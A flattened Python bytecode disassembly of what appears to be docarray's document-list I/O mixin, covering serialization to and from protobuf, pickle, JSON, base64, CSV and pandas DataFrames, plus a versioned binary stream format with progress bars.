STORE_NAME save_binary LOAD_CONST None RETURN_VALUE LOAD_CONST None RETURN_VALUE LOAD_CONST None RETURN_VALUE LOAD_DEREF cls LOAD_CLOSURE cls BUILD_TUPLE LOAD_CONST <code object <genexpr> at 0x7faa7455aa50, file "f.py", line 122> LOAD_CONST 'IOMixinDocList.from_protobuf.<locals>.<genexpr>' MAKE_FUNCTION LOAD_FAST pb_msg LOAD_ATTR docs GET_ITER CALL_FUNCTION CALL_FUNCTION RETURN_VALUE LOAD_FAST .0 FOR_ITER to 22 STORE_FAST doc_proto LOAD_DEREF cls LOAD_ATTR doc_type LOAD_METHOD from_protobuf LOAD_FAST doc_proto CALL_METHOD YIELD_VALUE POP_TOP JUMP_ABSOLUTE LOAD_CONST None RETURN_VALUE LOAD_CONST 0 LOAD_CONST ('DocListProto',) IMPORT_NAME docarray.proto IMPORT_FROM DocListProto STORE_FAST DocListProto POP_TOP LOAD_FAST DocListProto CALL_FUNCTION STORE_FAST da_proto SETUP_LOOP to 48 LOAD_FAST self GET_ITER FOR_ITER to 46 STORE_FAST doc LOAD_FAST da_proto LOAD_ATTR docs LOAD_METHOD append LOAD_FAST doc LOAD_METHOD to_protobuf CALL_METHOD CALL_METHOD POP_TOP JUMP_ABSOLUTE POP_BLOCK LOAD_FAST da_proto RETURN_VALUE LOAD_FAST cls LOAD_ATTR _load_binary_all LOAD_GLOBAL nullcontext LOAD_FAST data CALL_FUNCTION LOAD_FAST protocol LOAD_FAST compress LOAD_FAST show_progress LOAD_CONST ('file_ctx', 'protocol', 'compress', 'show_progress') CALL_FUNCTION RETURN_VALUE LOAD_FAST protocol LOAD_GLOBAL ARRAY_PROTOCOLS COMPARE_OP in POP_JUMP_IF_FALSE LOAD_GLOBAL _get_compress_ctx LOAD_FAST compress CALL_FUNCTION STORE_FAST compress_ctx JUMP_FORWARD to 22 LOAD_CONST None STORE_FAST compress_ctx LOAD_FAST compress_ctx LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_FAST bf LOAD_GLOBAL nullcontext CALL_FUNCTION ROT_TWO STORE_FAST f STORE_FAST fc JUMP_FORWARD to 60 LOAD_FAST compress_ctx LOAD_FAST bf CALL_FUNCTION STORE_FAST f LOAD_FAST f STORE_FAST fc LOAD_CONST None STORE_FAST compress LOAD_FAST fc SETUP_WITH to 212 POP_TOP LOAD_FAST protocol LOAD_CONST 'protobuf-array' COMPARE_OP == POP_JUMP_IF_FALSE LOAD_FAST f LOAD_METHOD write LOAD_FAST self LOAD_METHOD to_protobuf CALL_METHOD LOAD_METHOD SerializePartialToString CALL_METHOD CALL_METHOD POP_TOP JUMP_FORWARD to 208 LOAD_FAST protocol LOAD_CONST 'pickle-array' COMPARE_OP == POP_JUMP_IF_FALSE LOAD_FAST f LOAD_METHOD write LOAD_GLOBAL pickle LOAD_METHOD dumps LOAD_FAST self CALL_METHOD CALL_METHOD POP_TOP JUMP_FORWARD to 208 LOAD_FAST protocol LOAD_CONST 'json-array' COMPARE_OP == POP_JUMP_IF_FALSE LOAD_FAST f LOAD_METHOD write LOAD_FAST self LOAD_METHOD to_json CALL_METHOD LOAD_METHOD encode CALL_METHOD CALL_METHOD POP_TOP JUMP_FORWARD to 208 LOAD_FAST protocol LOAD_GLOBAL SINGLE_PROTOCOLS COMPARE_OP in POP_JUMP_IF_FALSE LOAD_FAST f LOAD_METHOD write LOAD_CONST b'' LOAD_METHOD join LOAD_FAST self LOAD_ATTR _to_binary_stream LOAD_FAST protocol LOAD_FAST compress LOAD_FAST show_progress LOAD_CONST ('protocol', 'compress', 'show_progress') CALL_FUNCTION CALL_METHOD CALL_METHOD POP_TOP JUMP_FORWARD to 208 LOAD_GLOBAL ValueError LOAD_CONST 'protocol=' LOAD_FAST protocol FORMAT_VALUE LOAD_CONST ' is not supported. Can be only ' LOAD_GLOBAL ALLOWED_PROTOCOLS FORMAT_VALUE LOAD_CONST '.' BUILD_STRING CALL_FUNCTION RAISE_VARARGS POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_CONST None RETURN_VALUE LOAD_CONST 0 LOAD_CONST ('filesize',) IMPORT_NAME rich IMPORT_FROM filesize STORE_FAST filesize POP_TOP LOAD_FAST show_progress POP_JUMP_IF_FALSE LOAD_CONST 0 LOAD_CONST ('_get_progressbar',) IMPORT_NAME docarray.utils._internal.progress_bar IMPORT_FROM _get_progressbar STORE_FAST _get_progressbar POP_TOP LOAD_FAST _get_progressbar LOAD_CONST 'Serializing' LOAD_FAST show_progress UNARY_NOT LOAD_GLOBAL len LOAD_FAST self CALL_FUNCTION LOAD_CONST ('disable', 'total') CALL_FUNCTION UNPACK_SEQUENCE STORE_FAST pbar STORE_FAST t JUMP_FORWARD to 72 LOAD_CONST 0 LOAD_CONST ('nullcontext',) IMPORT_NAME contextlib IMPORT_FROM nullcontext STORE_FAST nullcontext POP_TOP LOAD_FAST nullcontext CALL_FUNCTION STORE_FAST pbar LOAD_FAST self LOAD_ATTR _stream_header YIELD_VALUE POP_TOP LOAD_FAST pbar SETUP_WITH to 212 POP_TOP LOAD_FAST show_progress POP_JUMP_IF_FALSE LOAD_CONST 0 STORE_FAST _total_size LOAD_FAST pbar LOAD_METHOD start_task LOAD_FAST t CALL_METHOD POP_TOP SETUP_LOOP to 208 LOAD_FAST self GET_ITER FOR_ITER to 206 STORE_FAST doc LOAD_FAST doc LOAD_ATTR to_bytes LOAD_FAST protocol LOAD_FAST compress LOAD_CONST ('protocol', 'compress') CALL_FUNCTION STORE_FAST doc_bytes LOAD_GLOBAL len LOAD_FAST doc_bytes CALL_FUNCTION LOAD_ATTR to_bytes LOAD_CONST 4 LOAD_CONST 'big' LOAD_CONST False LOAD_CONST ('signed',) CALL_FUNCTION STORE_FAST len_doc_as_bytes LOAD_FAST len_doc_as_bytes LOAD_FAST doc_bytes BINARY_ADD STORE_FAST all_bytes LOAD_FAST all_bytes YIELD_VALUE POP_TOP LOAD_FAST show_progress POP_JUMP_IF_FALSE LOAD_FAST _total_size LOAD_GLOBAL len LOAD_FAST all_bytes CALL_FUNCTION INPLACE_ADD STORE_FAST _total_size LOAD_FAST pbar LOAD_ATTR update LOAD_FAST t LOAD_CONST 1 LOAD_GLOBAL str LOAD_FAST filesize LOAD_METHOD decimal LOAD_FAST _total_size CALL_METHOD CALL_FUNCTION LOAD_CONST ('advance', 'total_size') CALL_FUNCTION POP_TOP JUMP_ABSOLUTE POP_BLOCK POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_CONST None RETURN_VALUE LOAD_FAST file_ctx JUMP_IF_TRUE_OR_POP LOAD_GLOBAL io LOAD_METHOD BytesIO CALL_METHOD SETUP_WITH to 56 STORE_FAST bf LOAD_FAST self LOAD_ATTR _write_bytes LOAD_FAST bf LOAD_FAST protocol LOAD_FAST compress LOAD_FAST show_progress LOAD_CONST ('bf', 'protocol', 'compress', 'show_progress') CALL_FUNCTION POP_TOP LOAD_GLOBAL isinstance LOAD_FAST bf LOAD_GLOBAL io LOAD_ATTR BytesIO CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_FAST bf LOAD_METHOD getvalue CALL_METHOD RETURN_VALUE POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_CONST None RETURN_VALUE LOAD_FAST cls LOAD_ATTR _load_binary_all LOAD_GLOBAL nullcontext LOAD_GLOBAL base64 LOAD_METHOD b64decode LOAD_FAST data CALL_METHOD CALL_FUNCTION LOAD_FAST protocol LOAD_FAST compress LOAD_FAST show_progress LOAD_CONST ('file_ctx', 'protocol', 'compress', 'show_progress') CALL_FUNCTION RETURN_VALUE LOAD_GLOBAL io LOAD_METHOD BytesIO CALL_METHOD SETUP_WITH to 48 STORE_FAST bf LOAD_FAST self LOAD_ATTR _write_bytes LOAD_FAST bf LOAD_FAST compress LOAD_FAST protocol LOAD_FAST show_progress LOAD_CONST ('bf', 'compress', 'protocol', 'show_progress') CALL_FUNCTION POP_TOP LOAD_GLOBAL base64 LOAD_METHOD b64encode LOAD_FAST bf LOAD_METHOD getvalue CALL_METHOD CALL_METHOD LOAD_METHOD decode LOAD_CONST 'utf-8' CALL_METHOD RETURN_VALUE WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_CONST None RETURN_VALUE LOAD_GLOBAL orjson LOAD_METHOD loads LOAD_FAST file CALL_METHOD STORE_FAST json_docs LOAD_DEREF cls LOAD_CLOSURE cls BUILD_TUPLE LOAD_CONST <code object <listcomp> at 0x7faa5f1b68a0, file "f.py", line 325> LOAD_CONST 'IOMixinDocList.from_json.<locals>.<listcomp>' MAKE_FUNCTION LOAD_FAST json_docs GET_ITER CALL_FUNCTION CALL_FUNCTION RETURN_VALUE BUILD_LIST LOAD_FAST .0 FOR_ITER to 22 STORE_FAST v LOAD_DEREF cls LOAD_ATTR doc_type BUILD_TUPLE LOAD_FAST v CALL_FUNCTION LIST_APPEND JUMP_ABSOLUTE RETURN_VALUE LOAD_GLOBAL orjson_dumps LOAD_FAST self CALL_FUNCTION LOAD_METHOD decode LOAD_CONST 'UTF-8' CALL_METHOD RETURN_VALUE LOAD_FAST cls LOAD_ATTR doc_type LOAD_GLOBAL AnyDoc COMPARE_OP == POP_JUMP_IF_TRUE LOAD_FAST cls LOAD_ATTR doc_type LOAD_GLOBAL BaseDoc COMPARE_OP == POP_JUMP_IF_FALSE LOAD_GLOBAL TypeError LOAD_CONST 'There is no document schema defined. Please specify the ' LOAD_FAST cls FORMAT_VALUE LOAD_CONST "'s Document type using `" LOAD_FAST cls FORMAT_VALUE LOAD_CONST '[MyDoc]`.' BUILD_STRING CALL_FUNCTION RAISE_VARARGS LOAD_FAST file_path LOAD_METHOD startswith LOAD_CONST 'http' CALL_METHOD POP_JUMP_IF_FALSE LOAD_CONST 0 LOAD_CONST None IMPORT_NAME urllib.request STORE_FAST urllib LOAD_FAST urllib LOAD_ATTR request LOAD_METHOD urlopen LOAD_FAST file_path CALL_METHOD SETUP_WITH to 104 STORE_FAST f LOAD_GLOBAL StringIO LOAD_FAST f LOAD_METHOD read CALL_METHOD LOAD_METHOD decode LOAD_FAST encoding CALL_METHOD CALL_FUNCTION STORE_FAST file LOAD_FAST cls LOAD_METHOD _from_csv_file LOAD_FAST file LOAD_FAST dialect CALL_METHOD RETURN_VALUE WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY JUMP_FORWARD to 146 LOAD_GLOBAL open LOAD_FAST file_path LOAD_CONST 'r' LOAD_FAST encoding LOAD_CONST ('encoding',) CALL_FUNCTION SETUP_WITH to 140 STORE_FAST fp LOAD_FAST cls LOAD_METHOD _from_csv_file LOAD_FAST fp LOAD_FAST dialect CALL_METHOD RETURN_VALUE WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_CONST None RETURN_VALUE LOAD_GLOBAL csv LOAD_ATTR DictReader LOAD_FAST file LOAD_FAST dialect LOAD_CONST ('dialect',) CALL_FUNCTION STORE_FAST rows LOAD_FAST cls LOAD_ATTR doc_type STORE_FAST doc_type BUILD_LIST STORE_FAST docs LOAD_FAST rows LOAD_ATTR fieldnames LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE BUILD_LIST JUMP_FORWARD to 52 LOAD_CONST <code object <listcomp> at 0x7faa74b7a0c0, file "f.py", line 389> LOAD_CONST 'IOMixinDocList._from_csv_file.<locals>.<listcomp>' MAKE_FUNCTION LOAD_FAST rows LOAD_ATTR fieldnames GET_ITER CALL_FUNCTION STORE_FAST field_names LOAD_FAST field_names LOAD_CONST None COMPARE_OP is POP_JUMP_IF_TRUE LOAD_GLOBAL len LOAD_FAST field_names CALL_FUNCTION LOAD_CONST 0 COMPARE_OP == POP_JUMP_IF_FALSE LOAD_GLOBAL TypeError LOAD_CONST 'No field names are given.' CALL_FUNCTION RAISE_VARARGS LOAD_GLOBAL _all_access_paths_valid LOAD_FAST doc_type LOAD_FAST field_names LOAD_CONST ('doc_type', 'access_paths') CALL_FUNCTION STORE_FAST valid_paths LOAD_GLOBAL all LOAD_FAST valid_paths CALL_FUNCTION POP_JUMP_IF_TRUE LOAD_GLOBAL ValueError LOAD_CONST "Column names do not match the schema of the DocList's document type (" LOAD_FAST cls LOAD_ATTR doc_type LOAD_ATTR __name__ FORMAT_VALUE LOAD_CONST '): ' LOAD_GLOBAL list LOAD_GLOBAL compress LOAD_FAST field_names LOAD_CONST <code object <listcomp> at 0x7faa74b7ac00, file "f.py", line 399> LOAD_CONST 'IOMixinDocList._from_csv_file.<locals>.<listcomp>' MAKE_FUNCTION LOAD_FAST valid_paths GET_ITER CALL_FUNCTION CALL_FUNCTION CALL_FUNCTION FORMAT_VALUE BUILD_STRING CALL_FUNCTION RAISE_VARARGS SETUP_LOOP to 184 LOAD_FAST rows GET_ITER FOR_ITER to 182 STORE_FAST access_path2val LOAD_GLOBAL _access_path_dict_to_nested_dict LOAD_FAST access_path2val CALL_FUNCTION STORE_FAST doc_dict LOAD_FAST docs LOAD_METHOD append LOAD_FAST doc_type LOAD_METHOD parse_obj LOAD_FAST doc_dict CALL_METHOD CALL_METHOD POP_TOP JUMP_ABSOLUTE POP_BLOCK LOAD_FAST cls LOAD_FAST docs CALL_FUNCTION RETURN_VALUE BUILD_LIST LOAD_FAST .0 FOR_ITER to 18 STORE_FAST f LOAD_GLOBAL str LOAD_FAST f CALL_FUNCTION LIST_APPEND JUMP_ABSOLUTE RETURN_VALUE BUILD_LIST LOAD_FAST .0 FOR_ITER to 16 STORE_FAST v LOAD_FAST v UNARY_NOT LIST_APPEND JUMP_ABSOLUTE RETURN_VALUE LOAD_FAST self LOAD_ATTR doc_type LOAD_GLOBAL AnyDoc COMPARE_OP == POP_JUMP_IF_TRUE LOAD_FAST self LOAD_ATTR doc_type LOAD_GLOBAL BaseDoc COMPARE_OP == POP_JUMP_IF_FALSE LOAD_GLOBAL TypeError LOAD_GLOBAL type LOAD_FAST self CALL_FUNCTION FORMAT_VALUE LOAD_CONST ' must be homogeneous to be converted to a csv.There is no document schema defined. Please specify the ' LOAD_GLOBAL type LOAD_FAST self CALL_FUNCTION FORMAT_VALUE LOAD_CONST "'s Document type using `" LOAD_GLOBAL type LOAD_FAST self CALL_FUNCTION FORMAT_VALUE LOAD_CONST '[MyDoc]`.' BUILD_STRING CALL_FUNCTION RAISE_VARARGS LOAD_FAST self LOAD_ATTR doc_type LOAD_METHOD _get_access_paths CALL_METHOD STORE_FAST fields LOAD_GLOBAL open LOAD_FAST file_path LOAD_CONST 'w' CALL_FUNCTION SETUP_WITH to 144 STORE_FAST csv_file LOAD_GLOBAL csv LOAD_ATTR DictWriter LOAD_FAST csv_file LOAD_FAST fields LOAD_FAST dialect LOAD_CONST ('fieldnames', 'dialect') CALL_FUNCTION STORE_FAST writer LOAD_FAST writer LOAD_METHOD writeheader CALL_METHOD POP_TOP SETUP_LOOP to 140 LOAD_FAST self GET_ITER FOR_ITER to 138 STORE_FAST doc LOAD_GLOBAL _dict_to_access_paths LOAD_FAST doc LOAD_METHOD dict CALL_METHOD CALL_FUNCTION STORE_FAST doc_dict LOAD_FAST writer LOAD_METHOD writerow LOAD_FAST doc_dict CALL_METHOD POP_TOP JUMP_ABSOLUTE POP_BLOCK POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_CONST None RETURN_VALUE LOAD_CONST 0 LOAD_CONST ('DocList',) IMPORT_NAME docarray IMPORT_FROM DocList STORE_FAST DocList POP_TOP LOAD_FAST cls LOAD_ATTR doc_type LOAD_GLOBAL AnyDoc COMPARE_OP == POP_JUMP_IF_TRUE LOAD_FAST cls LOAD_ATTR doc_type LOAD_GLOBAL BaseDoc COMPARE_OP == POP_JUMP_IF_FALSE LOAD_GLOBAL TypeError LOAD_CONST 'There is no document schema defined. Please specify the ' LOAD_FAST cls FORMAT_VALUE LOAD_CONST "'s Document type using `" LOAD_FAST cls FORMAT_VALUE LOAD_CONST '[MyDoc]`.' BUILD_STRING CALL_FUNCTION RAISE_VARARGS LOAD_FAST cls LOAD_ATTR doc_type STORE_FAST doc_type LOAD_FAST DocList LOAD_METHOD __class_getitem__ LOAD_FAST doc_type CALL_METHOD CALL_FUNCTION STORE_FAST docs LOAD_FAST df LOAD_ATTR columns LOAD_METHOD tolist CALL_METHOD STORE_FAST field_names LOAD_FAST field_names LOAD_CONST None COMPARE_OP is POP_JUMP_IF_TRUE LOAD_GLOBAL len LOAD_FAST field_names CALL_FUNCTION LOAD_CONST 0 COMPARE_OP == POP_JUMP_IF_FALSE LOAD_GLOBAL TypeError LOAD_CONST 'No field names are given.' CALL_FUNCTION RAISE_VARARGS LOAD_GLOBAL _all_access_paths_valid LOAD_FAST doc_type LOAD_FAST field_names LOAD_CONST ('doc_type', 'access_paths') CALL_FUNCTION STORE_FAST valid_paths LOAD_GLOBAL all LOAD_FAST valid_paths CALL_FUNCTION POP_JUMP_IF_TRUE LOAD_GLOBAL ValueError LOAD_CONST "Column names do not match the schema of the DocList's document type (" LOAD_FAST cls LOAD_ATTR doc_type LOAD_ATTR __name__ FORMAT_VALUE LOAD_CONST '): ' LOAD_GLOBAL list LOAD_GLOBAL compress LOAD_FAST field_names LOAD_CONST <code object <listcomp> at 0x7faa74b7a810, file "f.py", line 507> LOAD_CONST 'IOMixinDocList.from_dataframe.<locals>.<listcomp>' MAKE_FUNCTION LOAD_FAST valid_paths GET_ITER CALL_FUNCTION CALL_FUNCTION CALL_FUNCTION FORMAT_VALUE BUILD_STRING CALL_FUNCTION RAISE_VARARGS SETUP_LOOP to 236 LOAD_FAST df LOAD_METHOD itertuples CALL_METHOD GET_ITER FOR_ITER to 234 STORE_FAST row LOAD_FAST row LOAD_METHOD _asdict CALL_METHOD STORE_FAST access_path2val LOAD_FAST access_path2val LOAD_METHOD pop LOAD_CONST 'index' LOAD_CONST None CALL_METHOD POP_TOP LOAD_GLOBAL _access_path_dict_to_nested_dict LOAD_FAST access_path2val CALL_FUNCTION STORE_FAST doc_dict LOAD_FAST docs LOAD_METHOD append LOAD_FAST doc_type LOAD_METHOD parse_obj LOAD_FAST doc_dict CALL_METHOD CALL_METHOD POP_TOP JUMP_ABSOLUTE POP_BLOCK LOAD_FAST docs RETURN_VALUE BUILD_LIST LOAD_FAST .0 FOR_ITER to 16 STORE_FAST v LOAD_FAST v UNARY_NOT LIST_APPEND JUMP_ABSOLUTE RETURN_VALUE LOAD_GLOBAL TYPE_CHECKING POP_JUMP_IF_FALSE LOAD_CONST 0 LOAD_CONST None IMPORT_NAME pandas STORE_FAST pd JUMP_FORWARD to 26 LOAD_GLOBAL import_library LOAD_CONST 'pandas' LOAD_CONST True LOAD_CONST ('raise_error',) CALL_FUNCTION STORE_FAST pd LOAD_FAST self LOAD_ATTR doc_type LOAD_GLOBAL AnyDoc COMPARE_OP == POP_JUMP_IF_FALSE LOAD_GLOBAL TypeError LOAD_CONST "DocList must be homogeneous to be converted to a DataFrame.There is no document schema defined. Please specify the DocList's Document type using `DocList[MyDoc]`." CALL_FUNCTION RAISE_VARARGS LOAD_FAST self LOAD_ATTR doc_type LOAD_METHOD _get_access_paths CALL_METHOD STORE_FAST fields LOAD_FAST pd LOAD_ATTR DataFrame LOAD_FAST fields LOAD_CONST ('columns',) CALL_FUNCTION STORE_FAST df SETUP_LOOP to 136 LOAD_FAST self GET_ITER FOR_ITER to 134 STORE_FAST doc LOAD_GLOBAL _dict_to_access_paths LOAD_FAST doc LOAD_METHOD dict CALL_METHOD CALL_FUNCTION STORE_FAST doc_dict LOAD_CONST <code object <dictcomp> at 0x7faa74b7ac90, file "f.py", line 547> LOAD_CONST 'IOMixinDocList.to_dataframe.<locals>.<dictcomp>' MAKE_FUNCTION LOAD_FAST doc_dict LOAD_METHOD items CALL_METHOD GET_ITER CALL_FUNCTION STORE_FAST doc_dict LOAD_FAST pd LOAD_ATTR concat LOAD_FAST df LOAD_FAST pd LOAD_ATTR DataFrame LOAD_METHOD from_dict LOAD_FAST doc_dict CALL_METHOD BUILD_LIST LOAD_CONST True LOAD_CONST ('ignore_index',) CALL_FUNCTION STORE_FAST df JUMP_ABSOLUTE POP_BLOCK LOAD_FAST df RETURN_VALUE BUILD_MAP LOAD_FAST .0 FOR_ITER to 22 UNPACK_SEQUENCE STORE_FAST k STORE_FAST v LOAD_FAST v BUILD_LIST LOAD_FAST k MAP_ADD JUMP_ABSOLUTE RETURN_VALUE LOAD_CONST b'\x02' STORE_FAST version_byte LOAD_GLOBAL len LOAD_FAST self CALL_FUNCTION LOAD_ATTR to_bytes LOAD_CONST 8 LOAD_CONST 'big' LOAD_CONST False LOAD_CONST ('signed',) CALL_FUNCTION STORE_FAST num_docs_as_bytes LOAD_FAST version_byte LOAD_FAST num_docs_as_bytes BINARY_ADD RETURN_VALUE LOAD_CONST None RETURN_VALUE LOAD_FAST file_ctx SETUP_WITH to 34 STORE_FAST fp LOAD_GLOBAL isinstance LOAD_FAST fp LOAD_GLOBAL bytes CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_FAST fp STORE_FAST d JUMP_FORWARD to 30 LOAD_FAST fp LOAD_METHOD read CALL_METHOD STORE_FAST d POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_FAST protocol LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST protocol LOAD_CONST ('pickle-array', 'protobuf-array', 'json-array') COMPARE_OP in POP_JUMP_IF_FALSE LOAD_GLOBAL _get_compress_ctx LOAD_FAST compress LOAD_CONST ('algorithm',) CALL_FUNCTION LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_GLOBAL _decompress_bytes LOAD_FAST d LOAD_FAST compress LOAD_CONST ('algorithm',) CALL_FUNCTION STORE_FAST d LOAD_CONST None STORE_FAST compress LOAD_FAST protocol LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST protocol LOAD_CONST 'protobuf-array' COMPARE_OP == POP_JUMP_IF_FALSE LOAD_FAST cls LOAD_METHOD _get_proto_class CALL_METHOD CALL_FUNCTION STORE_FAST proto LOAD_FAST proto LOAD_METHOD ParseFromString LOAD_FAST d CALL_METHOD POP_TOP LOAD_FAST tensor_type LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_GLOBAL cast LOAD_CONST 'IOMixinDocVec' LOAD_FAST cls CALL_FUNCTION STORE_FAST cls_ LOAD_FAST cls_ LOAD_ATTR from_protobuf LOAD_FAST proto LOAD_FAST tensor_type LOAD_CONST ('tensor_type',) CALL_FUNCTION RETURN_VALUE LOAD_FAST cls LOAD_METHOD from_protobuf LOAD_FAST proto CALL_METHOD RETURN_VALUE EXTENDED_ARG JUMP_FORWARD to 614 LOAD_FAST protocol LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST protocol LOAD_CONST 'pickle-array' COMPARE_OP == POP_JUMP_IF_FALSE LOAD_GLOBAL pickle LOAD_METHOD loads LOAD_FAST d CALL_METHOD RETURN_VALUE LOAD_FAST protocol LOAD_CONST None COMPARE_OP is not EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST protocol LOAD_CONST 'json-array' COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST tensor_type LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_GLOBAL cast LOAD_CONST 'IOMixinDocVec' LOAD_FAST cls CALL_FUNCTION STORE_FAST cls_ LOAD_FAST cls_ LOAD_ATTR from_json LOAD_FAST d LOAD_FAST tensor_type LOAD_CONST ('tensor_type',) CALL_FUNCTION RETURN_VALUE LOAD_FAST cls LOAD_METHOD from_json LOAD_FAST d CALL_METHOD RETURN_VALUE EXTENDED_ARG JUMP_FORWARD to 614 LOAD_CONST 0 LOAD_CONST ('filesize',) IMPORT_NAME rich IMPORT_FROM filesize STORE_FAST filesize POP_TOP LOAD_CONST 0 LOAD_CONST ('_get_progressbar',) IMPORT_NAME docarray.utils._internal.progress_bar IMPORT_FROM _get_progressbar STORE_FAST _get_progressbar POP_TOP LOAD_GLOBAL int LOAD_ATTR from_bytes LOAD_FAST d LOAD_CONST 0 LOAD_CONST 1 BUILD_SLICE BINARY_SUBSCR LOAD_CONST 'big' LOAD_CONST False LOAD_CONST ('signed',) CALL_FUNCTION STORE_FAST version_num LOAD_FAST version_num LOAD_CONST 2 COMPARE_OP != EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_GLOBAL ValueError LOAD_CONST 'Unsupported version number ' LOAD_FAST version_num FORMAT_VALUE LOAD_CONST ' in binary format, expected 2' BUILD_STRING CALL_FUNCTION RAISE_VARARGS LOAD_GLOBAL int LOAD_ATTR from_bytes LOAD_FAST d LOAD_CONST 1 LOAD_CONST 9 BUILD_SLICE BINARY_SUBSCR LOAD_CONST 'big' LOAD_CONST False LOAD_CONST ('signed',) CALL_FUNCTION STORE_FAST num_docs LOAD_FAST _get_progressbar LOAD_CONST 'Deserializing' LOAD_FAST show_progress UNARY_NOT LOAD_FAST num_docs LOAD_CONST ('disable', 'total') CALL_FUNCTION UNPACK_SEQUENCE STORE_FAST pbar STORE_FAST t LOAD_CONST 9 STORE_FAST start_pos BUILD_LIST STORE_FAST docs LOAD_FAST pbar SETUP_WITH to 564 POP_TOP LOAD_CONST 0 STORE_FAST _total_size LOAD_FAST pbar LOAD_METHOD start_task LOAD_FAST t CALL_METHOD POP_TOP SETUP_LOOP to 560 LOAD_GLOBAL range LOAD_FAST num_docs CALL_FUNCTION GET_ITER FOR_ITER to 558 STORE_FAST _ LOAD_GLOBAL int LOAD_ATTR from_bytes LOAD_FAST d LOAD_FAST start_pos LOAD_FAST start_pos LOAD_CONST 4 BINARY_ADD BUILD_SLICE BINARY_SUBSCR LOAD_CONST 'big' LOAD_CONST False LOAD_CONST ('signed',) CALL_FUNCTION STORE_FAST len_current_doc_in_bytes LOAD_FAST start_pos LOAD_CONST 4 BINARY_ADD STORE_FAST start_doc_pos LOAD_FAST start_doc_pos LOAD_FAST len_current_doc_in_bytes BINARY_ADD STORE_FAST end_doc_pos LOAD_FAST end_doc_pos STORE_FAST start_pos LOAD_FAST protocol EXTENDED_ARG JUMP_IF_TRUE_OR_POP LOAD_GLOBAL cast LOAD_GLOBAL ProtocolType LOAD_CONST 'protobuf' CALL_FUNCTION STORE_FAST load_protocol LOAD_FAST cls LOAD_ATTR doc_type LOAD_ATTR from_bytes LOAD_FAST d LOAD_FAST start_doc_pos LOAD_FAST end_doc_pos BUILD_SLICE BINARY_SUBSCR LOAD_FAST load_protocol LOAD_FAST compress LOAD_CONST ('protocol', 'compress') CALL_FUNCTION STORE_FAST doc LOAD_FAST docs LOAD_METHOD append LOAD_FAST doc CALL_METHOD POP_TOP LOAD_FAST _total_size LOAD_FAST len_current_doc_in_bytes INPLACE_ADD STORE_FAST _total_size LOAD_FAST pbar LOAD_ATTR update LOAD_FAST t LOAD_CONST 1 LOAD_GLOBAL str LOAD_FAST filesize LOAD_METHOD decimal LOAD_FAST _total_size CALL_METHOD CALL_FUNCTION LOAD_CONST ('advance', 'total_size') CALL_FUNCTION POP_TOP EXTENDED_ARG JUMP_ABSOLUTE POP_BLOCK POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_FAST tensor_type LOAD_CONST None COMPARE_OP is not EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_GLOBAL cast LOAD_GLOBAL Type LOAD_CONST 'DocVec' BINARY_SUBSCR LOAD_FAST cls CALL_FUNCTION STORE_FAST cls__ LOAD_FAST cls__ LOAD_FAST docs LOAD_FAST tensor_type LOAD_CONST ('tensor_type',) CALL_FUNCTION RETURN_VALUE LOAD_FAST cls LOAD_FAST docs CALL_FUNCTION RETURN_VALUE LOAD_CONST None RETURN_VALUE LOAD_CONST 0 LOAD_CONST ('filesize',) IMPORT_NAME rich IMPORT_FROM filesize STORE_FAST filesize POP_TOP LOAD_FAST file_ctx EXTENDED_ARG SETUP_WITH to 304 STORE_FAST f LOAD_FAST f LOAD_METHOD read LOAD_CONST 9 CALL_METHOD STORE_FAST version_numdocs_lendoc0 LOAD_GLOBAL int LOAD_ATTR from_bytes LOAD_FAST version_numdocs_lendoc0 LOAD_CONST 0 LOAD_CONST 1 BUILD_SLICE BINARY_SUBSCR LOAD_CONST 'big' LOAD_CONST False LOAD_CONST ('signed',) CALL_FUNCTION STORE_FAST version_num LOAD_FAST version_num LOAD_CONST 2 COMPARE_OP != POP_JUMP_IF_FALSE LOAD_GLOBAL ValueError LOAD_CONST 'Unsupported version number ' LOAD_FAST version_num FORMAT_VALUE LOAD_CONST ' in binary format, expected 2' BUILD_STRING CALL_FUNCTION RAISE_VARARGS LOAD_GLOBAL int LOAD_ATTR from_bytes LOAD_FAST version_numdocs_lendoc0 LOAD_CONST 1 LOAD_CONST 9 BUILD_SLICE BINARY_SUBSCR LOAD_CONST 'big' LOAD_CONST False LOAD_CONST ('signed',) CALL_FUNCTION STORE_FAST num_docs LOAD_FAST show_progress POP_JUMP_IF_FALSE LOAD_CONST 0 LOAD_CONST ('_get_progressbar',) IMPORT_NAME docarray.utils._internal.progress_bar IMPORT_FROM _get_progressbar STORE_FAST _get_progressbar POP_TOP LOAD_FAST _get_progressbar LOAD_CONST 'Deserializing' LOAD_FAST show_progress UNARY_NOT LOAD_FAST num_docs LOAD_CONST ('disable', 'total') CALL_FUNCTION UNPACK_SEQUENCE STORE_FAST pbar STORE_FAST t JUMP_FORWARD to 158 LOAD_CONST 0 